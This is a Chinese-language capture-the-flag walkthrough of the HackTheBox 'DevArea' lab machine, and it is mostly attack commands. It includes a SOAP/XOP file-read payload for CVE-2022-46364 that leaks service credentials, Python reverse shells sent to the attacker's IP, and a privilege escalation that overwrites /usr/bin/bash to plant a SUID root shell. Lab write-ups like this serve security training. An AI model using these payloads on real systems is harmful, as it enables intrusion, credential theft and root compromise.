文章总结: 该文档详细记录了HackTheBoxSeason10DevArea靶机的渗透测试过程。通过信息收集发现21、22、80、8080等端口,利用CVE-2022-46364漏洞读取/etc/passwd文件并获取Hoverfly服务凭证,随后通过API中间件配置实现反向shell获取user.txt。权限提升阶段通过备份替换bash文件,利用sudo执行syswatch脚本时触发恶意payload,成功以root身份读取root.txt并创建SUIDshell。 综合评分: 81 文章分类: 渗透测试,内网渗透,红队,WEB安全,漏洞分析
HackTheBox Season 10 DevArea 难度:Medium
原创
信益安研究院 信益安研究院
信益安信息安全研究院
2026年4月1日 10:30 湖北
在小说阅读器读本章
去阅读
DevArea
一、信息收集
nmap -p- --min-rate=10000 -sV -Pn 10.129.202.146
发现开放21、22、80、8080、8500、8888端口
先添加hosts文件,访问80页面没有发现什么可利用的信息
echo "10.129.202.146 devarea.htb" >> /etc/hosts
访问http://devarea.htb:8080/employeeservice?wsdl
二、漏洞利用
根据分析发现这里存在CVE-2022-46364,该漏洞允许通过在 SOAP 请求中包含本地文件来读取其内容,我们去进行漏洞利用
cat > /tmp/ssrf.xml << 'EOF'
--MIME_boundary
Content-Type: text/xml; charset=UTF-8
Content-Transfer-Encoding: binary
Content-ID: <[email protected]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<tns:submitReport xmlns:tns="http://devarea.htb/">
<arg0>
<employeeName>test</employeeName>
<department>test</department>
<content>
<xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include"
href="file:///etc/passwd"/>
</content>
<confidential>false</confidential>
</arg0>
</tns:submitReport>
</soap:Body>
</soap:Envelope>
--MIME_boundary--
EOF
curl -s -X POST http://devarea.htb:8080/employeeservice \
-H "Content-Type: multipart/related; type=\"text/xml\"; boundary=\"MIME_boundary\"" \
--data-binary @/tmp/ssrf.xml > /tmp/response.xml
python3 -c "
import base64, re
data = open('/tmp/response.xml').read()
m = re.search(r'Content: ([A-Za-z0-9+/=]+)', data)
print(base64.b64decode(m.group(1) + '==').decode())
"
提取Hoverfly
sed 's|file:///etc/passwd|file:///etc/systemd/system/hoverfly.service|' \
/tmp/ssrf.xml > /tmp/ssrf2.xml
curl -s -X POST http://devarea.htb:8080/employeeservice \
-H "Content-Type: multipart/related; type=\"text/xml\"; boundary=\"MIME_boundary\"" \
--data-binary @/tmp/ssrf2.xml > /tmp/response2.xml
python3 -c "
import base64, re
data = open('/tmp/response2.xml').read()
m = re.search(r'Content: ([A-Za-z0-9+/=]+)', data)
print(base64.b64decode(m.group(1) + '==').decode())
"
:::success
发现凭据:ExecStart=/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
这组信息爆出来:用户:admin、密码:O7IJ27MyyXiU、管理端口8080:
curl -X POST http://devarea.htb:8888/api/token-auth \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"O7IJ27MyyXiU"}'
开启监听
nc -lvvp 4444
TOKEN=""
curl -X PUT http://devarea.htb:8888/api/v2/hoverfly/middleware \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"binary": "python3",
"script": "import socket,subprocess,os;s=socket.socket();s.connect((\"your ip\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])"
}'
成功反弹shell
读取user.txt
三、权限提升
sudo -l
备份 bash + 创建 payload(当前shell中执行)
cp /usr/bin/bash /tmp/bash.bak
cat > /tmp/payload.sh << 'EOF'
#!/tmp/bash.bak
cat /root/root.txt > /tmp/root.txt
chmod 777 /tmp/root.txt
cp /tmp/bash.bak /tmp/rootbash
chmod +s /tmp/rootbash
cp /tmp/bash.bak /usr/bin/bash
exec /tmp/bash.bak "$@"
EOF
chmod +x /tmp/payload.sh
nc -lvnp 9002
连接第二个shell
python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('yourip',9002));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/dash','-i'])"
执行权限提升
kill -9 $(pgrep -x bash) 2>/dev/null
dd if=/tmp/payload.sh of=/usr/bin/bash
sudo /opt/syswatch/syswatch.sh --version
cat /tmp/root.txt
虽然 whoami 还显示 dev_ryan,但 payload 已经成功以 root 身份执行并把 flag 写入了 /tmp/root.txt。
提权原理
┌─────────────────────────────────────────────────────┐
│ 第一步:备份原始 bash │
│ cp /usr/bin/bash /tmp/bash.bak │
└──────────────────┬──────────────────────────────────┘
┌─────────────────────────────────────────────────────┐
│ 第二步:创建恶意 payload.sh │
│ 内容:读 root.txt、创建 SUID bash、恢复原始 bash │
│ Shebang 指向备份的 bash:#!/tmp/bash.bak │
└──────────────────┬──────────────────────────────────┘
┌─────────────────────────────────────────────────────┐
│ 第三步:切换到 dash shell │
│ 避免替换 bash 时当前 shell 崩溃 │
└──────────────────┬──────────────────────────────────┘
┌─────────────────────────────────────────────────────┐
│ 第四步:dd 替换 /usr/bin/bash │
│ dd if=/tmp/payload.sh of=/usr/bin/bash │
│ 现在 /usr/bin/bash 实际上是我们的 payload │
└──────────────────┬──────────────────────────────────┘
┌─────────────────────────────────────────────────────┐
│ 第五步:触发 sudo │
│ sudo /opt/syswatch/syswatch.sh --version │
│ ↓ │
│ syswatch.sh 调用 /usr/bin/bash(已被替换) │
│ ↓ │
│ 以 root 身份执行 payload.sh │
│ ↓ │
│ cat /root/root.txt → /tmp/root.txt(777权限) │
│ 创建 /tmp/rootbash(SUID) │
│ 恢复 /usr/bin/bash 为原始文件 │
└──────────────────┬──────────────────────────────────┘ ↓
┌─────────────────────────────────────────────────────┐
│ 第六步:读 flag / 用 SUID bash 拿 root shell │
│ cat /tmp/root.txt │
│ /tmp/rootbash -p → whoami = root │
└─────────────────────────────────────────────────────┘
最后
🌟感谢您看到这里,您的支持与关注,是我们持续输出内容的最大动力
🌟欢迎在season 10 赛季期间进群交流
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:信益安信息安全研究院 信益安研究院 信益安研究院《HackTheBox Season 10 DevArea 难度:Medium》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论